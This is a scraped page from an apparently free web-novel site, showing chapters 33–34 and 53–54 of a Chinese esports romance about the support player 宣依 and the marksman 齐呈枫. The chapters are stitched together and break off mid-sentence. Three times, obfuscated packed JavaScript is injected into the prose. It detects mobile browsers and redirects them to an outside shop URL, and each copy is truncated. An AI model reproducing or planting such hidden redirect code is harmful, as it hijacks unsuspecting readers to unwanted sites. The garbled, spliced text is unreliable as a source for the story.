又“嘭”一声,变成了十六分之一,土豆还是厚的,但已经难以立在刀板上了,齐呈枫一只手稳着土豆,另一只手举着刀在上面“找对称轴”,土豆稳了两秒倒在了刀板上,刀悬停在空中。 齐呈枫又扶起土豆,重复动作。 宣依看不下去了,站起身走向厨房。 先入眼的是一旁的电饭煲。 “我可以的。”齐呈枫见宣依进来,便放下刀准备推宣依出去。 “齐呈枫,煮饭要加水你知道吧?”宣依问。 “当然。” “要插电,你知道吧?” “我又不傻。” “那下一步呢?” 齐呈枫不理解,但还是认真回答:“等啊。” “嗯,等四十分钟后吃生米。”宣依叹了口气,抬手伸出自己的食指按在了煮饭键上,小屏幕的数字开始波动。 她的语气平常,没有任何情绪,以至于这句有些阴阳怪气的话从她嘴里说出来也没什么特别的意味。 但这句话之后,主厨的人就变成了宣依。 她没办法挽救齐呈枫切成那副模样的土豆,只能改刀成土豆丝,她下厨的次数也少,刀功不算很好,再加上右手的内伤,不敢过度使力,切得也不算匀称。 等菜都切好后,齐呈枫终于重新回到了主厨位,他停在锅前,谨慎地点火倒油,看了眼宣依,又看了眼架在一旁的手机教程,撒下蒜粒,翻了 33. 这是第三十三章 《这个辅助有点野》全本免费阅读 屋外陷入无边的黑夜。 宣依冲洗完碗筷,靠在厨房台边看向客厅悠然坐着的齐呈枫,呼了一口气。 她从来都没否认过自己的游戏技术,但她的目的是让别人认可,让别人看见她从不是一无是处。当网上全是否认时,她觉得别人是否认可已经有答案了,打不打下去也无所谓了。 可是当齐呈枫坚定说出“当然”时,那些讽刺调侃的话统统被撕裂。 为什么放弃? 能不能这件事,她自己说了算。 她觉得,她想做就能做到。 - 齐呈枫不拘谨吗? 装的。 微信小群里,一条信息弹出。 【程舟:提问,在女生家要做点什么?急!很急!】 【魏晟:哦?】 【郑晨:嗯?!!谁?】 齐呈枫握着手机的一刻,正看着几条轮番严刑拷打对程舟输出,他犹豫了几秒,看向宣依佝偻着的背影,默默引用程舟的话,输入“同问”。 同样的严刑拷打,又一次对着齐呈枫来了一遍。 他抬眼看向厨房的身影,再次低头的时候已经有了凌一鸣的“抢答”,还是一句语音:“明知故问,我们的小辅助被拐走咯。” 【魏晟:!!!】 一排的感叹号,几个人交错着刷屏,包括了程舟。 厨房门响动,齐呈枫慌乱扣下手机,甩出的“所以怎么做?”连后续都没看见。 宣依解着围裙从厨房走出来:“你,不会还准备过夜吧?” 嗯? 齐呈枫扬起眉梢偏头:“不太好吧。” “知道就好,”宣依迈步走过来,发现自己常坐的位置被占据后,便自然地在茶几对面盘腿坐下拿出手机,“都八点了,再晚地铁都没了。” 说完,她又抬眸看向他,默默换掉了措辞:“再晚,加油站都关了。” “宣依,”齐呈枫嘴角勾起淡淡的笑意,但又压在平静的语气之下,显得漫不经心,“加油站24小时营业,你知道吧?” 齐呈枫笑着站起身,绕过茶几走到了宣依身后弯下腰,两只手穿过宣依胳膊之下,隔着一件棉质卫衣微微用力将宣依从冰凉的地板上带起来:“好啦,我走了,明天训练记得来。” 她怕冷,却自己都没意识到坐在了冰凉的地板上,被带着站起身后才感受到了未退却的冰凉,下意识侧头。 齐呈枫和她靠得很近。 但这种近在宣依转头的一刻才真切感受到。 眼前是齐呈枫的下颚线,脖颈以及弧度明显的喉结。 宣依咽了下口水,感觉到自己已经站直的双腿便连连往后退了两步:“知道了。” 她语气无法克制地有些上扬,但在泛红的脸颊对比之下,语气如何也不那么重要了。 齐呈枫笑着点点头转身往玄关柜走。 他蹲在鞋柜旁穿上鞋后,宣依才感觉自己的灵魂归于了实处,视线从他的身影缓缓移开,又看见了沙发边的大袋子:“你的东西没拿。” 齐呈枫松松手,进洗手间将换下来的衣物装进了一个口袋里,又一次走向门边。 “不是那个。”宣依抬手指向沙发边耷拉在地面的大塑料袋。 她也不知道里面装了些什么,看见过从里面捞出白衬衫黑裤子,还有短暂露过面便被欲盖弥彰遮到白衬衫之下的男士内裤,以及土豆和那堆牛肉什么的也来自这个大袋子。 有点像哆啦A梦的口袋扩大版。 齐呈枫顺着手指的方向看过去,然后轻描淡写地又收回视线系好鞋带:“那些是给你的。” 宣依不明所以地看向那个大袋子,纯白色不透明,看不清里面还有什么。 等齐呈枫站在电梯前等待时,随着“叮”一声打开的还有宣依的入户门,她刹着一双拖鞋提着那袋东西,步伐沉甸甸的朝齐呈枫走过来。 说了给你的。 好好休息,不用送我。 一句话都没说出口,那袋东西就落在了齐呈枫的脚边。 “带着这堆吃的喝的,用的,一起走。”语气冷冷的。 走廊灯光下,袋子口掀开的大缝里,摆在一堆零散零散之上,两盒黄色包装的盒子在最上层。 一盒是柠檬味薄荷糖,还有一盒印着“超薄”二字。 天知道,他拿薄荷糖的时候多顺手。 还思索着价格不菲,应该挺好吃的……哪个售货员摆的货!? 齐呈枫低头看着袋子里的东西,再抬头,宣依已经回了屋合上了门。 提起来走进电梯。 手机的震动还没停下来。 群里已经三四十条新消息了。 【凌一鸣:不是,你真上了?】 齐呈枫不明所以往上翻,看见了程舟那句【算了,此时不表态,更待何时!】 说完他就消失了。 好歹他的消失还让众人有个理头可寻,于是众人又开始讨论起齐呈枫的事。 【郑晨:@7那你呢?也上?】 【魏晟:按依姐性子,不合适吧】 【郑晨:也是,这个时候算不算趁虚而入?】 【凌一鸣:反正,现在最好憋着】 接下来一大段是来自三人的感慨,渐渐回归正轨是凌一鸣意识到齐呈枫久久未回复时发的这句话。 【没上。】齐呈枫在电梯里,信号不太好,这句话转着圈圈并未发送出去。 直到电梯抵达一楼,信息成功发送,但他们的话题已经又切了。 【郑晨:怎么说着说着人不见了?】 然后是两个连着的艾特。 【魏晟:干正事去了?】 【凌一鸣:在小辅助家还有什么事比她重要?】 【郑晨:真“正事”】 然后便是齐呈枫那句有些突兀,以及与此场景莫名吻合的“没上”。 就几个人的群却因为这两个字,炸了。 齐呈枫看着无从解释的两个字又低头看了眼手里的塑料袋。 怎么? 这个时机很合适吗?一件件事撞在一起来。 雨势已经奄奄一息,地面堆着一滩滩水洼,映着万籁俱寂的楼房,只有点点灯光点缀。 齐呈枫站在入户大厅处抬头望向漆黑一片的天。 良久,他蹲下身拿出手机。 【我想,此时不表态,更待何时】 【程舟:哥们借你点运气,冲!】 【郑晨:虽然不情愿,但祝你脱单,玫瑰.jpg】 他退出了群聊,给宣依发信息,然后猝不及防看见了那个红色感叹号弹出,无奈又去短信重新输入。 【天色不错,要不要散个步?】 一则白色气泡弹出【?】 【一角一条的短信,不要这么惜字如金】齐呈枫删删打打,怕宣依等久了,打字速度飚起,但又实在不知道该怎么哄她答应。 良久,那头直接一句话都没了。 一股风向他的脖颈袭来,他朝着简短的信息页面再次输入【有点冷】 【我想和你散个步】 - 宣依靠在沙发上抱着抱枕,屏幕里是那句未发送的“那就早点回去休息”,但齐呈枫又一次发送的邀请 34. 这是第三十四章 《这个辅助有点野》全本免费阅读 后来夜深又落了场小雨,也就延绵了几分钟,宣依辗转反侧数次后坐起身,窗户上还挂着缓缓下滑的雨珠。 夜里十二点,宣依却分外清醒。 一闭眼就是昏暗街道上,齐呈枫站在身前,微微俯身语气温和的模样。 再接着便是他不骄不躁的陈述句。 “我觉得现在不是一个好的时间,就连背景也有些单调。”他缓缓沉下头,身后是一片漆黑。 在一众俗气却浪漫的爱心蜡烛、荧光树的对比之下确实单调。 宣依记得他说的每一个字,记得他神态动作,记得眼中他的模样,却忘记了自己说的话。 好像是,下意识的否认——“挺好的。” 雨夜,告白。 挺好的。 再次与齐呈枫对视上,他眼里布下不着痕迹的泪光:“不好,一点也不好,我不是觉得这样的表白就够了,我也想捧着玫瑰,站在灯光前告诉你我的心意……” 那样挺俗的。 宣依不知如何开口,默默捏着衣角听他说。 “但是我不想拖下去了,不想在你心里留下个脚踏两条船的印象,更不想让你觉得我是个和你暧昧几天随时会离开的人,”他很清楚宣依保持距离时的顾忌,也寻过很多次机会坦白,却总是机不逢时,“宣依,我很认真,也很确信,我喜欢你。不是欣赏,不是向往,是喜欢。” “是沉默许久却依旧选择破壳的喜欢,藏不住,抑制不了,很喜欢很喜欢。” 他们之间始终保持着两步的距离,齐呈枫并没有在一句句话中向她靠近,始终在等待宣依的回应。 宣依脖颈落在枕头上,看向黑暗里轮廓都不清晰的天花板,有些后悔当时的沉默不语。 夜的最后,齐呈枫问:“我可以得到一个答案吗?” 晚风拂过齐呈枫的头发,散乱在风里却依旧自信张扬的模样映在宣依眼前。 明明近在咫尺,却又好像很远。 在沉默里,齐呈枫松松散散地笑了笑:“没关系的,关于你,我愿意等。” 宣依扯着被子盖在眼前深呼吸,又一次探出头。 深夜十二点半,她打开手机给秦珠发了条消息“如果有人和……” 对方正在输入中, 下一秒秦珠的消息优先弹出来,仅有一个感叹号。 宣依删掉输入框里的内容,发了个问号。 那头也发了个问号又接了库库输入, 【珠:啊啊啊啊啊,依依你怎么还没睡!】 【珠:是不是有预感我有好消息要告诉你!】 她的每一句话都以一个感叹号收尾, 【珠:可以打电话说嘛!!!】 甚至又变成了三个。 宣依回了个“嗯”,微信铃声下一刻就在安静的卧室里响起。 “依依!”秦珠上扬的调子坚决贯彻着她的感叹号,“我被表白了!” 秦珠活泼的性子其实很招人喜欢,长得也大方可爱,宣依也见证过她被表白的模样。 两个人面对面,耳朵一起红,一起低头,然后相持几分钟后最终以朋友相称结束。 宣依还没做出点什么反应,秦珠的声音又传来:“你什么时候谈恋爱啊!” “嗯?” 电话那头明显预料到宣依已经不记得了,只能压着激动的心情慢悠悠提她回忆:“我之前说过呀,我想和你一起谈恋爱,然后四个人一起逛街,买东西,租房子,我觉得这样超幸福!” 言外之意, 秦珠在等宣依谈恋爱。 “不过,没关系,”秦珠很随性地说着,“他说等我答复,那我也等等你咯,反正也不急。” 男生都一个套路吗? “我今天也被表白了。” 秦珠对这种事习以为常,但心情愉悦使得她颇有耐心八卦:“哦?你呆在家都有人上门表白呀?” 上门二字, 宣依皱了皱眉:“下次别乱分享视频。” “啊?”秦珠花了两秒消化话题的跳跃,“等等,依依,真上门表白啊?” 那头传来杂乱的声音,坐起了身:“那个人是不是长挺高,还挺帅,还……是个打游戏的?” 前两个形容出来的时候,宣依还想说这不废话吗? 不高不帅用得着从追求者里单独拿出来讲吗? 直到最后一个形容传到耳边,这就猜到了? 但好像没什么好瞒的,宣依还是“嗯”了声。 “完了,我俩遇上同一个人了,”秦珠语气格外认真,“渣男。” 宣依觉得莫名,但也心知肚明肯定不是同一个人:“谁和你表白了?” “程舟啊。” 说完,秦珠又意识到什么,想要欲盖弥彰。 奈何宣依今天听力可好:“哦,不是同一个。” “我的比他帅,不止一个度。” 莫名,宣依就觉得他俩的颜值不在一个层面,想要给齐呈枫正个名。 秦珠这才恍惚想起来宣依那个游戏好友是齐呈枫,啧啧两声:“所以呢,你答应了?” “还没。” “等等,不对啊,那他那个暗恋的初恋呢?”秦珠也想起来餐桌上被众人讨论的那个“不普通女孩”。 “那个,也是我。” 电话那头沉默良久:“依依,再加一条。” “昂?” “你的还比我这个有钱,”秦珠的关注点回到了那天餐桌上的地方,“几万的手链说送就送。” “等等,依依,你没点反应?” 宣依愣在了枕前。 手链? 她只记得每年的生日,齐家也总会给她备上礼物,其中自然也包括齐呈枫,但一直以来,宣依都觉得那只是个走过场的日子罢了。 甚至连那些礼物都没拆开过。 那晚,多晚已经不记得了。 宣依挂断了电话,披了件外套便出了门,夜班车很贵,但她迫切想剥开答案的心让她在进电梯时便预约了车。 她怕等这股劲过了会犹豫,但当下她一分一秒都不想浪费。 路面还陷着处处水洼,她鲜少有明确目标。 当看向前方时,她看见路灯闪烁,原来夜里十二点的街道也会有依偎相伴的人漫无目的地行走。 她脚步踏过一处水洼。 勾起齐呈枫与她并肩走过的画面。 她也不是一个人,
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12750259|131584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真挺好奇这个‘XY’是何方神圣。” 六月初,空气里缠绵着未褪去的湿润,泥土的气味混杂其中,齐呈枫无端想起年幼时划破自己掌心的那个女孩。 周耀习惯了齐呈枫对这个问题的避而不答,便换了话题:“那你准备什么时候回来呢?” 依旧无人应声。 “嗯?” 齐呈枫思绪被召回,缓缓开口:“她嘛,是个有些幼稚却要强的女孩。” 周耀没想到一个被掩盖这么多次的问题却在这次有了个回答,也忘了追问关于齐呈枫接下来的打算。 也未曾想昔日队友再见面已经成为了对坐在赛场上的劲敌。 “所以,你是为了她去CY的?”周耀扭头看向他,问道。 “她今年刚来的,甚至可以说在和你们打那场比赛前几天才加入的,”齐呈枫的视线在不远处从便利店出来的身影上有了聚焦点,“我一开始确实是因为她,现在好像也有她的原因,挺神奇的。” “但我确实想拿冠军。” “看得出来,连打法都变了。” “哦?哪场?”这句话轻飘飘留在了空气里。 “喏。” 宣依半扭开瓶盖,递到齐呈枫面前。 “比如今天最后一场,”周耀并没芥蒂宣依的出现,继续着两人的话题,“你为什么,为什么没有撤退?” “太乙有大招,为什么撤退?” “你怎么敢赌太乙会比你后倒?”周耀语气有些重,“但凡先倒的是太乙,你们就输了!” “为什么要赌,”宣依皱眉插嘴道,“我们法师的控打到了,你们连净化都没有,怎么先带走我?” 她靠着十足的把握撂下这句反问,在周耀愣神还未接上话之际,一旁的齐呈枫淡淡笑出声:“我打法可一直没变,是你们对我的认知太浅薄了,两年前我撤退是因为那波团开不了,这次我不撤退自然是因为能开。” “你明明就是在赌!”周耀坚信着自己的认知,说话语气因为二人的一唱一和有些没抑制住地冲,“不,你是在陪她闹!” “周耀!” “陪我闹?” 两个声音高低不齐地从同一方向传来。 齐呈枫顺着低沉的反问咽下声,侧眸看向身旁的女孩。 套着件简单的白T,脊背挺直,肩头落下斑驳的光影,宣依撇开目光:“这位选手,你把比赛当什么了?我敢上,敢开,有把握,你却因为自己的失误来谴责齐呈枫,来批判我?” “一向以配合著称的南城AQ质疑起别人的配合还真是理直气壮呢。” 齐呈枫听着扭开瓶盖,带着笑意仰头喝水。 在周耀开口前,他才咽下喉,目光落在周耀身上:“没想到你到现在认知还这么浅薄,既然如此那这顿饭好像也没有吃的必要了。” 有人见状想说两句缓和气氛,但都未能说得出口。 只能看着两人朝着相反的方向走去,映在橙黄色的余晖,人影拖在地面一步又一步与驻在原地的他们拉开距离。 “就不吃啦?” “不吃了,”齐呈枫抬手揉了揉宣依的头,几分力道让她的身子向自己倾斜,“他们要去吃烧烤。” 宣依似懂非懂地点点头,也就被齐呈枫的后半句带着跑了:“噢!你不喜欢吃烧烤。” 夕阳偏落,将他们的影子斜向拉长,紧凑在一起。 那年公交站牌所隔出的距离此时已然消失殆尽。 53. 这是第五十三章 “齐哥,撤撤撤,我来抗!”魏晟拉着操纵杆抗在河道与野区的交界处,手上空无技能的他此刻只能靠装备的坦度硬抗。 “你也撤,你也撤。”宣依拉着灰掉的屏幕视野,急切却无能地重复着。 观众席的视线屏息凝神地注视着大屏幕。 “刘禅一闪穿过了抗伤的八戒,被孙尚香一技能躲开了,香香也停止了撤退,边拉扯边输出,”解说顺着屏幕里的画面倍道而进地说着,情绪与场上的激战一同,“女娲传送过来,吃了孙尚香大招……” 宣依沉沉呼了一口气,将刚才的失误消化,在复活倒计时落下时再次拉动摇杆。 CY以A组第一的成绩进入了卡位赛,对上S组的第五名黑鹰战队,队如其名,他们的每一位选手都有着强劲的单带能力,而相较于他们曾对上过的KEY和SUG,他们又可以在恰到好处的个人性打法里融入进其他人的配合。 这种谈不上“默契”,却又需要各种合作达成的局面让CY一开始便忽视了他们的配合,用应对SUG他们的方式来打黑鹰,到龙坑那一波却被猝不及防的支援打散,分散掉的走位又被逐个击破。 便形成了现在这个局面,中辅野三人都掉了,射手残血往野区撤退还被堵了。 前期,复活倒计时短,哪怕一波团灭影响也并不大,但黑鹰就是急切地将CY的节奏打乱,剩下撤出团战的射手直接顺势在中路推塔。 宣依拉着技能加速,落于她几秒复活的程舟也顺势吃了个加速。 “中塔不能掉!”宣依短短拉了几秒中路的视野,路线却还是直奔了野区。 彼时,齐呈枫与女娲隔开一座墙,魏晟也一不做二不休选择了转头输出,两下普攻打在刘禅身上,宣依的大招穿过障碍直直落在了几人之间,程舟在中塔边的草丛换了方向,受限的控制技能勉强打在了刘禅身上,他头也不会地出了野区清兵。 黑鹰的射手是虞姬,看着程舟一技能和大招接连落下的他无动于衷地开了个二技能奔进了塔的内侧继续推塔:“守不了守不了。” 从斜后方射来的两炮 几乎与程舟无奈的吐槽同时出现。 齐呈枫将女娲打残后并没有追上去补残血,二技能直接越过了蓝buff的围墙,隔着一段距离,拉着极限的技能距离,重炮和二技能先后打在了虞姬身上,三个人站位分散,虞姬反应过来的时候已经开始吃塔伤了。 “Killingspree!” 虞姬被解决掉,中路的塔残留着一丝血量守了下来。 另一边,魏晟接过齐呈枫留下的残血,向女娲方向追,在宣依二技能的加持下,一技能成功收割。 刘禅并未选择支援,看着吕布追残血便直接往红区撤退。 一瞬,节奏又被压了回来。 “可惜啊,这波没有把中塔推了。”解说员感叹着。 宣依抬手擦了擦手心的汗,顺手掰了一下麦克风:“守下来就行,别给对面开团的机会了,先发育。” “舟,你先守两波兵线,不用支援。” 比赛刚开局不久,双方拉开了近一千的经济,如果此时中路失守,其他几人连拉扯经济的机会都没了。 话落,齐呈枫已经从中路回到了下塔,吃了个血包回状态,趁着虞姬还未复活,绕进了野区,将大的穿山甲打了后直接从一塔后侧断了兵线。 而凌一鸣也趁着敌方打野不在,将这边野猪清掉了两只,拉着两人视角差回了蓝区刷野。 也许微乎其微,但一丁点的经济,都值得千方百计拉扯。 他们先后掉了主宰和暴君,即便在刚才那波团战里已经竭尽所能将损失降低,换做从前有了刚才那波团战,他们便会直接继续打自己的节奏,但一场场比赛的磨炼,让这支初出茅庐的战队有了自己的认知。 他们相处才不到半年,无法达成南城AQ那样绝妙的配合,而个人的kda除了齐呈枫和凌一鸣名列前茅外,剩下几人都不算突出。 如此一个看似五边形的战队,在大众眼中便像是一只脱缰野马,过关斩将进了卡位赛,欲有冲进A组的势头,但他们知道一个过于中规中矩的五边形在赛场上是有些吃亏的,没有突兀的一角使他们看上去更像是一支有点水准的五排车队。 人们总是会在跌倒时感到挫败,但宣依的过去都沉在浪潮汹涌里,等她感受到跌倒时只是低头细细观察了那颗石头——渺小,微不足道,却就是在它身上栽了跟头。 所以在这场比赛开始前,她便说:“失误了没关系,对面总会有比我们更大的失误出现,如果没有——那就创造。” 节奏再次进入正轨后,宣依才离开中路:“舟,你还是守中塔,开团位置你稍微看一下再支援。” 程舟了然地应下声。 宣依扫了眼经济面板,往野区绕回下路。 彼时孙尚香和虞姬正在因为兵线而盘旋,虞姬有物理免疫,换作其他的香香还真不一定能讨到好,但齐呈枫例外,他的孙尚香既可以占据射手里的顶尖必然是有几分违背相克关系的玩法的。 “可以压。” 指令落下,齐呈枫便直接进了草丛,短暂消失的视野,再次突脸打到虞姬身上时有些猝不及防。 “那就压。” 这句话淹没在一堆技能里。 “支援支援!”虞姬的二技能在刚才的拉扯中还在冷却中,只能硬接过这波攻势。 还没等到二技能恢复,一个带着沉默效果的时钟便落在了脚下。 “刘禅你人呢!?” 在这之前刘禅跟了虞姬一波兵线,但二打一的局面,齐呈枫依旧稳定清线,在兵线末,刘禅甚至越塔打了一波,但也没讨到好,被那凌乱却精准躲开控制以及虞姬一技能的走位给打乱了,最后顶着残血跑了。 于是在宣依视野稳定在中路时,他便也选择了支援其他路……但换而言之,下路一个人可以拖两个人,如果当时辅助也在,兴许在那波刘禅和虞姬就已经掉了。 刘禅从上路匆匆赶来的途中,还被程舟三两并不以击杀为目的的技能给牵制了几秒,打野优先赶到下路。 “鸣哥。”宣依向后绕了下操纵杆,极限距离里,凌一鸣吃到了加速,也出现在了下路的视野里。 对方打野目标很准确,没有任何的弯弯绕绕,一出现便直接冲着宣依而来。 让身为辅助且没什么伤害的宣依莫名,她准备向齐呈枫方向靠近的拉杆猛地顿住,直当了断吃了这个控制效果,才拉动摇杆,让打野的位置忽然变成了三角形的中心位。 “打虞姬打虞姬。” 瞄准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12785965|131584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在打野身上的重炮,又因为这句话果断转向了虞姬。 下路一波小团战一触即发。 程舟留着大招无力拖延:“夹子下去了。” 宣依嗯了声,点着没什么伤害的普攻键,顺手拉了下刘禅的视野,很快又松开那只拉视野的食指,开口:“晟,下中路。” 刘禅带着他的一技能直奔人群,此时被控着一下,局势就将完全转变。 “打打打。” 宣依继续向前,齐呈枫最后一炮收割虞姬,就见身后那个喊着“打”的孙膑不知何时已经站到了靠近河道的草丛边,一技能落在了刘禅身上,然后被一个击飞,成为了打野和刘禅二人的目标。 两人丝毫不在意一边输出的凌一鸣,齐呈枫转身朝着几人的方向继续输出。 “拉开距离拉开距离。”宣依急切地重复着。 齐呈枫沉了口气,看着女娲的三技能落在了其中,紧接着是程舟往下路赶来的视野,还有追在他身后的关羽。 魏晟的吕布止步在中路,他们这波没有肉坦,四打五? 不对,虞姬没了。 黑鹰这波少了关键的输出。 四对四。 这些信息在一瞬间被消化,得到一个结论——女娲和关羽的群体性伤害,是宣依早有预料般替他规避的。 在让魏晟去中路前就已经计划好的内容。 在孙膑倒下的最后一秒,他按下二技能,吃到加速效果的凌一鸣也在这一刻将距离拉开,女娲的一技能未打到击退效果,关羽直奔战场而来的技能也没推到任何一人,空掉了技能的两人只能硬接下这波团。 技能一顿凌乱里。 “别拖了,直接打!”宣依看着灰色屏幕里的画面。 下一秒,站位集中的他们被吕布大招一瞬击飞,开了狂暴般的他在圆盘战场里飞舞了两枪,残血的他们在这一瞬无能为力。 一条条播报响起。 除了击杀,还有一条突兀的推塔消息。 魏晟当然是去支援中路的,他去支援了才能让程舟到下路打拖延,而他支援的内容很简单,将程舟离开中路后的那波兵线清掉,他边拉着视野看下路的战况边推塔。 无需言语,魏晟读懂了这一波宣依的暗示,留下被推了大半防御塔和三两兵线,直奔河道。 也许很多时候直接说比一些暗示来得快,但越是险峻越能逼发人的潜能,他们都以为魏晟这一波不参团,于是备好了三打四的准备,但魏晟这一刻的出现却又并没令他们感到意外。 就像某一次的训练里,宣依说:我们都低估了我们之间的默契,其实我们已经赢了。 一同训练不到半年的队伍,靠着只言片语读懂彼此,他们也许不比别的战队强,但强弱与胜负并不划等。 “推推推!” 宣依激动地呐喊。 齐呈枫看着几人共同奔赴的英雄姿态,侧眸看向她。 碰着手机,昏暗里那双亮晶晶的眼睛就紧盯着屏幕,发梢别至耳后,没有什么多余的动作,却看起来格外认真。 “宣依,”齐呈枫收回目光,指尖敲着推塔键。 平和的语调与激战太过违和,以至于宣依转头瞧了眼他,见没什么异样才应声。 “嗯?” “我喜欢你。” 54. 这是第五十四章 简言意赅的四个字,就这么四个字。 齐呈枫一张一合就落了尾音,他的目光依旧落在手机屏幕上,一波团战的落尾,峡谷安静了下来,独余宣依掩盖在耳机内侧透红的耳尖以及有些不知所措的视线。 程舟轻啧两声,有些无可奈何:“哥们,比赛呢。” 调侃时随性的调子将宣依那根断了的弦接上,重新看向屏幕,恰逢倒计时结束,她拉着摇杆将自己飘散的思绪一点点拉回来。 借着程舟的话让自己清醒:“就是,比赛呢。” “你是对面派来打乱节奏的嘛?” 齐呈枫刚和凌一鸣打完暴君,进野区拿红,听着耳机里宣依的声音,收割了红buff,淡然地转了话锋:“老魏,主宰坑准备再开一波。” “现在?” 刚才那波团战的胜利已经扯平了经济差,而大部分的经济都落在了跳大的魏晟身上,他现在是全场最值钱的人头。 “开吧,”宣依附和道,“对面上波团没赢肯定会拿龙的,趁此把优势拉大点。” 说着,她的指尖拉了下小地图,跟着齐呈枫一同游走。 如两人所言,魏晟清完上路兵线后往草丛靠便看到了对方打野正单开龙。 单开? 魏晟有些质疑,在草丛的边缘位置拉着视野,伺机而动。 中射辅三人也在中草边做好了准备,凌一鸣从敌方野区直奔主宰坑:“他们还要打团?” 话音还没落下,魏晟的大招就锁定在了龙坑处,嘴里激动地喊着:“我跳了,我跳了。” “打打打!” 一瞬场景变得凌乱,吕布的位置跳得不巧,卡在了龙坑边缘,一下也有了敌方几人的视野,主宰在混乱里还是被对面打野一个惩戒带走了。 但团战并没有因为主宰没了就结束,黑鹰有撤退的想法,只是恰巧落在墙体这侧的吕布打乱了这样的节奏,宣依也看准时机丢了个大招,一行人在她二技能的加速效果下,程舟和凌一鸣绕到后侧支援魏晟,齐呈枫有位移,便干脆地留在了这侧。 “鸣哥鸣哥,控到了。” “没技能,拉一下。” “等一下等一下。” “打打打!” 几个人七嘴八舌在自己的视野里,混乱的场景被观众席的众人尽收眼底。 而台下的众说纷纭也不比选手席清晰,各抒己见地争吵着。 “不是,黑鹰这波在打什么啊!可以不包的团,刘禅人呢?” “这吕布大招跳得什么鬼啊,完全乱打。” “CY梦游嘛?不切这个射手去追个坦克打什么啊。” “黑鹰才在梦游吧,上赛季不是第五嘛,现在连着两波团都被吊着打。” 前排的一个女生两只手紧握在一起,抬头紧抿着唇,掌心一点点被汗液浸满,直到大屏幕上传来第一道播报,紧接着是第二道,第三道…… 黑鹰的坦法射辅四人连连倒下,CY这边打野和射手也掉了。 女生的欢呼声顺着全场沸腾一同。 她身旁的男人转头看向她:“你是他们队里谁的女朋友嘛?” “啊?”楚秋秋有些懵。 她的门票是齐呈枫托人送到手里的,进场后才后知后觉这是选手的内场票,身旁这个男人是后来才落座的,大半场下来都格外淡定,她猜测着大概是哪位的家长,便毕恭毕敬地轻言:“不是的,我是他们战队的粉丝。” “这战队才第一次打比赛就有粉丝了!?” 楚秋秋闻言,温和的模样一瞬不见踪影:“首先这不是他们第一次打比赛,再者他们虽是新人,但他们一点儿不比其他战队差。” 越说越气,语速都不自觉拉快了些:“而且!你光会说,让你上不知道……” 男人听着便懂了眼前女生误会他意思了,笑着摆摆手:“小妹妹,你误会了,我是朝阳俱乐部的老板。” “你得打成什么……啊?”楚秋秋匆匆收回自己的话,“你是任总啊?” 任朝阳笑着点头,将目光投向CY选手席边上的位置:“我女儿喜欢,从前总嚷嚷着要拿冠军,后来没能得到这个机会,这不,我就支持她来了。” “虽然不是她打,但看着她高兴便够了。” 楚秋秋也望向那个方向:“您是‘暮光’父亲啊!” “暮光”是任宙的昵称,但因为这个名字连赛场都没上过,所以鲜为人知,但任朝阳当然知道:“哦?你还知道‘暮光’?” “当然!我追竞就是因为她呢!我一开始注意到CY也是因为她……” 楚秋秋的话还没接上后续,就被余光里大屏幕的动静吸引,伴随着解说的声音:“刘禅先手闪现控到了两个,虞姬跟上输出了!吕布残了吕布残了,女娲二技能封了他们的走位。” 蓝方红区变得混乱起来,凌一鸣被埋了一波直接掉了,揽过责任:“我的我的,没想到中塔没推就来蹲草了。” 但野区的混乱将这句话吞没,众人专注在手中的一方屏幕中。 齐呈枫:“往下路拉往下路拉。” 宣依:“马上,我大还没好。” 程舟:“操,空了” 黑鹰孤注一掷般发起了这波团战,五个人压着程舟和魏晟打,魏晟往下路方向走,却被女娲瞬时落下的二技能标记。 宣依又接上加速,与齐呈枫进了野区。 下路一波主宰线还在向高地前进,黑鹰却对那波兵线无动于衷,丝毫没有撤退的打算,宣依进场后直接放了大招,只是对方站位零散,大招的沉默效果只打在了刘禅身上。 齐呈枫拉着距离朝最近的女娲一通输出,对面也很快将战火引到了射手的身上。 “虞姬绕后了。”凌一鸣看着灰色的屏幕提醒道。 齐呈枫往后拉的动作顺着一技能的翻滚靠到了野区的墙沿处,打在女娲身上的伤害又叠上了一层暴击:“兵线在推,鸣哥你直接带下路线。” 魏晟的站位一点点迁到齐呈枫身前抗伤,但他的大招却在此时猝不及防地跳到了打野和辅助身上:“打打打!” 两人被击飞的这一刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12843590|131584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些茫然,没了闪现的刘禅被吕布摆了两下后就倒了,打野手速倒是快,在吕布落地砍刀时便果断朝着反方向位移躲开了大半伤害。 一波团战分成了两波小团战。 技能的重叠交杂里,程舟最先倒下,临走前交了个刚刷新的大招,吕布在这个大招的辅助下与对面打野先后倒下。 